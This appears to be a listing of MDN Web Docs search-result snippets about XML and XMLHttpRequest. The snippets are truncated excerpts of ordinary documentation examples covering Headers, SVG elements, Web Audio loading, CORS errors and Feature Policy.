me="pet" value="dog"> dog</label></p> </fieldset> <fieldset> <legend>owned vehicles</legend> <p><label><input type="checkbox" name="vehicle" value="bike">i have a bike</label></p> <p><label><input type="checkbox" name="vehicle" value="car">i have a car</label></p> </fieldset> <p><button>submit</button></p> </form> </body> </html> submitting forms and uploading files using xmlhttprequest if you want to know how to serialize and submit a form using the xmlhttprequest api, please read this paragraph.
HTMLScriptElement - Web APIs
these algorithms describe the core ideas, but they rely on the parsing rules for <script> start and end tags in html, in foreign content, and in xml; the rules for the document.write() method; the handling of scripting; and so on.
The HTML DOM API - Web APIs
an element object instance represents a single element in a document created using either html or an xml vocabulary such as svg.
Headers.entries() - Web APIs
WebAPIHeadersentries
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the key/value pairs for (var pair of myheaders.entries()) { console.log(pair[0]+ ': '+ pair[1]); } the result is: content-type: text/xml vary: accept-language ...
Headers.keys() - Web APIs
WebAPIHeaderskeys
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the keys for(var key of myheaders.keys()) { console.log(key); } the result is: content-type vary ...
Headers.values() - Web APIs
WebAPIHeadersvalues
example // create a test headers object var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.append('vary', 'accept-language'); // display the values for (var value of myheaders.values()) { console.log(value); } the result is: text/xml accept-language ...
Headers - Web APIs
WebAPIHeaders
examples in the following snippet, we create a new header using the headers() constructor, add a new header to it using append(), then return that header value using get(): var myheaders = new headers(); myheaders.append('content-type', 'text/xml'); myheaders.get('content-type') // should return 'text/xml' the same can be achieved by passing an array of arrays or an object literal to the constructor: var myheaders = new headers({ 'content-type': 'text/xml' }); // or, using an array of arrays: myheaders = new headers([ ['content-type', 'text/xml'] ]); myheaders.get('content-type') // should return 'text/xml' specifications ...
Basic concepts - Web APIs
it's not that different from the way that xmlhttprequest works.
Using IndexedDB - Web APIs
*/ function addpublicationfromurl(biblioid, title, year, url) { console.log("addpublicationfromurl:", arguments); var xhr = new xmlhttprequest(); xhr.open('get', url, true); // setting the wanted responsetype to "blob" // http://www.w3.org/tr/xmlhttprequest2/#the-response-attribute xhr.responsetype = 'blob'; xhr.onload = function (evt) { if (xhr.status == 200) { console.log("blob retrieved"); var blob = xhr.response; console.log("blob:", blob); addpublication(biblioid,...
KeyboardEvent.code - Web APIs
html <p>use the wasd (zqsd on azerty) keys to move and steer.</p> <svg xmlns="http://www.w3.org/2000/svg" version="1.1" class="world"> <polygon id="spaceship" points="15,0 0,30 30,30"/> </svg> <script>refresh();</script> css .world { margin: 0px; padding: 0px; background-color: black; width: 400px; height: 400px; } #spaceship { fill: orange; stroke: red; stroke-width: 2px; } javascript the first section of the javascript code establishes some var...
MathMLElement - Web APIs
properties this interface has no properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaSource.endOfStream() - Web APIs
when you make an xmlhttprequest call for a media chunk, and onabort or onerror triggers, you might want to call endofstream('network'), display a descriptive message in the ui, and maybe retry the network request immediately or wait until the network is back up (via some kind of polling.) decode: terminates playback and signals that a decoding error has occured.
Navigation Timing API - Web APIs
concepts and usage you can use the navigation timing api to gather performance data on the client side, which you can then transmit to a server using xmlhttprequest or other techniques.
Navigator.registerContentHandler() - Web APIs
example navigator.registercontenthandler( "application/vnd.mozilla.maybe.feed", "http://www.example.tld/?foo=%s", "my feed reader" ); notes for firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml mime types are supported.
Online and offline events - Web APIs
background: red; } and the corresponding htmlxxx when mochitests for this are created, point to those instead and update this example -nickolay <div id="status"></div> <div id="log"></div> <p>this is a test</p> here's the live result notes if the api isn't implemented in the browser, you can use other signals to detect if you are offline including using service workers and responses from xmlhttprequest.
Node.nodeName - Web APIs
WebAPINodenodeName
the notation name processinginstruction the value of processinginstruction.target text "#text" example given the following markup: <div id="d1">hello world</div> <input type="text" id="t"> and the following script: var div1 = document.getelementbyid("d1"); var text_field = document.getelementbyid("t"); text_field.value = div1.nodename; in xhtml (or any other xml format), text_field's value would read "div".
Node.prefix - Web APIs
WebAPINodeprefix
when a document is served with an xml mime type.
Node - Web APIs
WebAPINode
in later versions, html elements are in the http://www.w3.org/1999/xhtml/ namespace in both html and xml trees.
OfflineAudioContext.startRendering() - Web APIs
offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.
OfflineAudioContext - Web APIs
offline-audio-context-promise github repo (see the source code too.) // define online and offline audio context var audioctx = new audiocontext(); var offlinectx = new offlineaudiocontext(2,44100*40,44100); source = offlinectx.createbuffersource(); // use xhr to load an audio track, and // decodeaudiodata to decode it and offlineaudiocontext to render it function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; source.connect(offlinectx.destination); source.start(); //source.loop = true; offlinectx.
PerformanceResourceTiming.initiatorType - Web APIs
if the initiator is a xmlhttprequest object, the property returns "xmlhttprequest".
PerformanceResourceTiming - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script.
ProgressEvent() - Web APIs
specifications specification status comment xmlhttprequestthe definition of 'progressevent()' in that specification.
ProgressEvent.lengthComputable - Web APIs
syntax flag = progressevent.lengthcomputable specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
ProgressEvent.loaded - Web APIs
syntax value = progressevent.loaded specifications specification status comment xmlhttprequestthe definition of 'progressevent.loaded' in that specification.
ProgressEvent.total - Web APIs
syntax value = progressevent.total specifications specification status comment xmlhttprequestthe definition of 'progressevent.lengthcomputable' in that specification.
PushManager.subscribe() - Web APIs
= { uservisibleonly: true, applicationserverkey: applicationserverkey }; serviceworkerregistration.pushmanager.subscribe(options).then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
PushManager - Web APIs
vigator.serviceworker.register('serviceworker.js').then( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
Range.createContextualFragment() - Web APIs
the range.createcontextualfragment() method returns a documentfragment by invoking the html fragment parsing algorithm or the xml fragment parsing algorithm with the start of the range (the parent of the selected node) as the context node.
Using the Resource Timing API - Web APIs
an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource such as an xmlhttprequest, <svg>, image, script, etc.).
SVGAnimatedPoints - Web APIs
additionally, the points attribute on the original element accessed via the xml dom (e.g., using the getattribute() method call) will reflect any changes made to the svganimatedpoints.points attribut.
SVGAnimationElement: beginEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onbegin examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 3...
SVGAnimationElement: endEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onend examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <button>stop animation</button> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; over...
SVGAnimationElement: repeatEvent event - Web APIs
bubbles no cancelable no interface timeevent event handler property onrepeat examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 3...
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
SVGCircleElement - Web APIs
example svg content <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 250 250" width="250" height="250"> <circle cx="100" cy="100" r="50" fill="gold" id="circle" onclick="clickcircle();"/> </svg> javascript content this function clickcircle() is called when the circle is clicked.
SVGEllipseElement - Web APIs
example svg content <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <ellipse cx="100" cy="100" rx="100" ry="60" id="ellipse" onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry...
SVGGeometryElement.isPointInFill() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,10:', circle.ispointinfill(new dompoint(10, 10)));...
SVGGeometryElement.isPointInStroke() - Web APIs
example svg <svg viewbox="0 0 100 100" width="150" height="150" xmlns="http://www.w3.org/2000/svg"> <circle id="circle" cx="50" cy="50" r="45" fill="white" stroke="black" stroke-width="10"/> <circle cx="10" cy="10" r="5" fill="seagreen"/> <circle cx="40" cy="30" r="5" fill="seagreen"/> <circle cx="83" cy="17" r="5" fill="seagreen"/> </svg> javascript var circle = document.getelementbyid('circle'); // point not in circle console.log('point at 10,...
SVGGraphicsElement: copy event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 100 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <text x="5" y="10" id="text-to-copy">copy this text</text> <foreignobject x="5" y="20" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" placeholder="paste it here"/> </foreignobject> </svg> css input { font-size: 10px; width: 100%; ...
getBBox() - Web APIs
example html <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect i...
SVGGraphicsElement: paste event - Web APIs
example html <?xml version="1.0" encoding="utf-8"?> <svg viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; ...
SVGLength - Web APIs
WebAPISVGLength
r = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval; // read x in pixel and cm units console.log("value: " + val.value + ", valueinspecifiedunits: " + val.unittype + ": " + val.valueinspecifiedunits + ", valueasstring: " + val.valueasstring); // set...
SVGRectElement - Web APIs
(changing the color of the rect interface on every click) svg content <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect width="300" height="100" id="myrect" onclick="dorectclick()" style="fill:rgb(0,0,255);stroke-width:1;stroke:rgb(0,0,0)" /> <text x="60" y="40" fill="white" font-size="40" onclick="dorectclick();">click me</text> </svg> javascript content function dorectclick(){ var myrect = document.getelementbyid('myrect'); var r = math.f...
SVGTransformList - Web APIs
<svg id="my-svg" viewbox="0 0 300 280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <desc>example showing how to transform svg elements that using svgtransform objects</desc> <script type="application/ecmascript"> <![cdata[ function transformme(evt) { // svg root element to access the createsvgtransform() function var svgroot = evt.target.parentnode; // svgtransformlist of the element that has been clicked ...
ScriptProcessorNode.bufferSize - Web APIs
create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to...
ScriptProcessorNode.onaudioprocess - Web APIs
create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function...
ScriptProcessorNode - Web APIs
create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to...
ServiceWorkerRegistration.pushManager - Web APIs
n( function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.subscriptionid); console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
SourceBuffer - Web APIs
source = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status comment media source extensionsthe definition of 'sourcebuffer' in that specification.
SpeechRecognitionEvent - Web APIs
speechrecognitionevent.emma read only returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
StyleSheet.ownerNode - Web APIs
this is usually an html <link> or <style> element, but can also return a processing instruction node in the case of <?xml-stylesheet ?>.
Lifetime of a WebRTC session - Web APIs
in order to exchange signaling information, you can choose to send json objects back and forth over a websocket connection, or you could use xmpp or sip over an appropriate channel, or you could use xmlhttprequest over https with polling, or any other combination of technologies you can come up with.
Signaling and video calling - Web APIs
you can use anything you like, from websocket to xmlhttprequest to carrier pigeons to exchange the signaling information between the two peers.
Movement, orientation, and motion: A WebXR example - Web APIs
function displaymatrix(mat, rowlength, target) { let outhtml = ""; if (mat && rowlength && rowlength <= mat.length) { let numrows = mat.length / rowlength; outhtml = "<math xmlns='http://www.w3.org/1998/math/mathml' display='block'>\n<mrow>\n<mo>[</mo>\n<mtable>\n"; for (let y=0; y<numrows; y++) { outhtml += "<mtr>\n"; for (let x=0; x<rowlength; x++) { outhtml += `<mtd><mn>${mat[(x*rowlength) + y].tofixed(2)}</mn></mtd>\n`; } outhtml += "</mtr>\n"; } outhtml += "</mtable>\n<mo>]</mo>\n</mrow>\n</math>"; } target.innerht...
Starting up and shutting down a WebXR session - Web APIs
in basic form, code to do this final setup might look something like this: async function runsession(session) { let worlddata; session.addeventlistener("end", onsessionend); let canvas = document.queryselector("canvas"); gl = canvas.getcontext("webgl", { xrcompatible: true }); // set up webgl data and such worlddata = loadglprograms(session, "worlddata.xml"); if (!worlddata) { return null; } // finish configuring webgl worlddata.session.updaterenderstate({ baselayer: new xrwebgllayer(worlddata.session, gl) }); // start rendering the scene referencespace = await worlddata.session.requestreferencespace("unbounded"); worlddata.referencespace = referencespace.getoffsetreferencespace( new xrrigidtransform(worlddata.pl...
Web Workers API - Web APIs
in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
Worker - Web APIs
WebAPIWorker
workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null.
XDomainRequest - Web APIs
it was removed in internet explorer 10 in favor of using xmlhttprequest with proper cors; if you are targeting internet explorer 10 or later, or wish to support any other browser, you need to use standard http access control.
XPathEvaluator.createExpression() - Web APIs
resolver optional permits translation of all prefixes, including the xml namespace prefix, within the xpath expression into appropriate namespace uris.
XPathEvaluator.createNSResolver() - Web APIs
this adapter works like the dom level 3 method node.lookupnamespaceuri() in resolving the namespace uri from a given prefix using the current information available in the node's hierarchy at the time the method is called, also correctly resolving the implicit xml prefix.
XPathEvaluator.evaluate() - Web APIs
resolver optional permits translation of all prefixes, including the xml namespace prefix, within the xpath expression into appropriate namespace uris.
Resources - Web APIs
resources transforming xml: netscape and xslt what kind of language is xslt?
msCaching - Web APIs
WebAPImsCaching
the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
Web APIs
WebAPI
glshader webglshaderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject webkitcssmatrix websocket wheelevent window windowclient windoweventhandlers windoworworkerglobalscope worker workerglobalscope workerlocation workernavigator worklet writablestream writablestreamdefaultcontroller writablestreamdefaultwriter x xdomainrequest xmldocument xmlhttprequest xmlhttprequesteventtarget xmlhttprequestresponsetype xmlserializer xpathevaluator xpathexception xpathexpression xpathnsresolver xpathresult xrboundedreferencespace xrenvironmentblendmode xreye xrframe xrframerequestcallback xrhandedness xrinputsource xrinputsourcearray xrinputsourceevent xrinputsourceeventinit xrinputsourceschangeevent xrinputsourceschangeeventinit xrper...
ARIA: form role - Accessibility
anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest.
-moz-context-properties - CSS: Cascading Style Sheets
for example: .img1 { width: 100px; height: 100px; -moz-context-properties: fill, stroke; fill: lime; stroke: purple; } now that you've done this, the svg image can use the values of the fill and stroke properties, for example: <img class="img1" src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the...
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
@namespace — tells the css engine that all its content must be considered prefixed with an xml namespace.
CSS Namespaces - CSS: Cascading Style Sheets
css namespaces is a css module that allows authors to specify xml namespaces in css.
Linear-gradient Generator - CSS: Cascading Style Sheets
ent = ''; this.num_points = 0; this.size = 0; this.angle = 0; this.state = false; this.updateonresize(); trackmouse(rotate_point, this.updateaxisangle.bind(this), this.startrotation.bind(this)); container.appendchild(axis); line.addeventlistener('click', this.placegradientpoint.bind(this)); }; gradientaxis.prototype.createsvgarrow = function createsvgarrow(id) { var xmlns = 'http://www.w3.org/2000/svg'; var svg = document.createelementns(xmlns, 'svg'); var path = document.createelementns(xmlns, 'path'); svg.setattribute('class', 'gradient-arrow'); svg.setattribute('width', '25'); svg.setattribute('height', '25'); path.setattribute('fill', '#ccc'); path.setattribute('d', 'm 25,12.5 l 0,0 l 7.5,12.5 l 0,25'); svg.appendchild(path); return svg...
hyphens - CSS: Cascading Style Sheets
WebCSShyphens
in xml, the xml:lang attribute must be used.
offset-path - CSS: Cascading Style Sheets
<svg xmlns="http://www.w3.org/2000/svg" width="700" height="450" viewbox="350 0 1400 900"> <title>house and scissors</title> <rect x="595" y="423" width="610" height="377" fill="blue" /> <polygon points="506,423 900,190 1294,423" fill="yellow" /> <polygon points="993,245 993,190 1086,190 1086,300" fill="red" /> <path id="house"...
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
disables scrolling of xml root elements, <html>, and <body> with the keyboard's arrow keys and the mouse wheel.
paint-order - CSS: Cascading Style Sheets
formal definition initial valuenormalapplies totext elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | [ fill | stroke | markers ] examples reversing the paint order of stroke and fill svg <svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> </svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: stroke fill; } result specifications specifi...
text-rendering - CSS: Cascading Style Sheets
however, gecko and webkit browsers let you apply this property to html and xml content on windows, macos, and linux.
text-transform - CSS: Cascading Style Sheets
the language is defined by the lang html attribute or the xml:lang xml attribute.
transform-box - CSS: Cascading Style Sheets
formal definition initial valueview-boxapplies totransformable elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax content-box | border-box | fill-box | stroke-box | view-box examples svg transform-origin scoping in this example we have an svg: <svg id="svg" xmlns="http://www.w3.org/2000/svg" viewbox="0 0 50 50"> <g> <circle id="center" fill="red" r="1" transform="translate(25 25)" /> <circle id="boxcenter" fill="blue" r=".5" transform="translate(15 15)" /> <rect id="box" x="10" y="10" width="10" height="10" rx="1" ry="1" stroke="black" fill="none" /> </g> </svg> in the css we have an animation that uses a transform to rotate the rectang...
url() - CSS: Cascading Style Sheets
WebCSSurl()
ax url( <string> <url-modifier>* ) examples content property html <ul> <li>item 1</li> <li>item 2</li> <li>item 3</li> </ul> css li::after { content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif); } result data-uri html <div class="background"></div> css .background { height: 100vh; } .background { background: yellow; background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3e%3cpath d='m10 10h60' stroke='%2300f' stroke-width='5'/%3e%3cpath d='m10 20h60' stroke='%230f0' stroke-width='5'/%3e%3cpath d='m10 30h60' stroke='red' stroke-width='5'/%3e%3c/svg%3e"); } specifications specification status comment css values and units module level 4the definition of 'url()' in that...
CSS: Cascading Style Sheets
WebCSS
cascading style sheets (css) is a stylesheet language used to describe the presentation of a document written in html or xml (including xml dialects such as svg, mathml or xhtml).
exsl:node-set() - EXSLT
WebEXSLTexslnode-set
this lets you process the xml created within a variable to process it in multiple steps.
Common (exsl) - EXSLT
WebEXSLTexsl
this lets you process the xml created within a variable to process it in multiple steps.exsl:object-type()exsl:object-type() returns a string that indicates the type of the specified object.
EXSLT
for example, to use the regular expressions package: <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:regexp="http://exslt.org/regular-expressions"> <xsl:template match="/"> ...
WAI ARIA Live Regions/API Support - Developer guides
key presses yes mouse clicks yes mouse hovers no page load events no everything else, including focus changes, timer callbacks, xmlhttprequest callbacks, etc.
Audio and Video Delivery - Developer guides
web audio api var context; var request; var source; try { context = new audiocontext(); request = new xmlhttprequest(); request.open("get","http://jplayer.org/audio/mp3/riomez-01-sleep_together.mp3",true); request.responsetype = "arraybuffer"; request.onload = function() { context.decodeaudiodata(request.response, function(buffer) { source = context.createbuffersource(); source.buffer = buffer; source.connect(context.destination); // auto play ...
Overview of events and handlers - Developer guides
ent kinds based on the object emitting the event including: the window object, such as due to resizing the browser, the window.screen object, such as due to changes in device orientation, the document object, including the loading, modification, user interaction, and unloading of the page, the objects in the dom (document object model) tree including user interactions or modifications, the xmlhttprequest objects used for network requests, and the media objects such as audio and video, when the media stream players change state.
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
svg commands are formatted as xml, and can be embedded directly into a web page or can be placed in he page using the <img> element, just like any other type of image.
DASH Adaptive Streaming for HTML 5 Video - HTML: Hypertext Markup Language
dash works via http, so as long as your http server supports byte range requests, and it's set up to serve .mpd files with mimetype="application/dash+xml", then you're all set.
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png portable network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abbreviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibili...
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
firefox uses the following heuristics to determine the locale to validate the user's input (at least for type="number"): try the language specified by a lang/xml:lang attribute on the element or any of its parents.
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
it may have the following values: any, meaning that the icon can be scaled to any size as it is in a vector format, like image/svg+xml.
<meta>: The Document-level Metadata element - HTML: Hypertext Markup Language
WebHTMLElementmeta
note: can only be used in documents served with a text/html mime type — not in documents served with an xml mime type.
data-* - HTML: Hypertext Markup Language
the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not start with xml, whatever case is used for these letters; the name must not contain any semicolon (u+003a); the name must not contain capital letters.
Evolution of HTTP - HTTP
a typical flow of requests, all through one single connection is now looking like this: get /docs/glossary/simple_header http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: wed, 20 jul 2016 10:55:30 gmt etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" keep-alive: timeout=5, max=1000 last-modified: tue, 19 ...
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true.
Reason: CORS request not HTTP - HTTP
to fix this problem, simply make sure you use https urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets.
Cross-Origin Resource Policy (CORP) - HTTP
in response, chromium shipped cross-origin read blocking, which automatically protects certain resources (of content-type html, json and xml) against cross-origin reads.
Using Feature Policy - HTTP
these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins.
Feature Policy - HTTP
the features include: layout-inducing animations legacy image formats oversized images synchronous scripts synchronous xmlhttprequest unoptimized images unsized media granular control over certain features the web provides functionality and apis that may have privacy or security risks if abused.
Feature-Policy: sync-xhr - HTTP
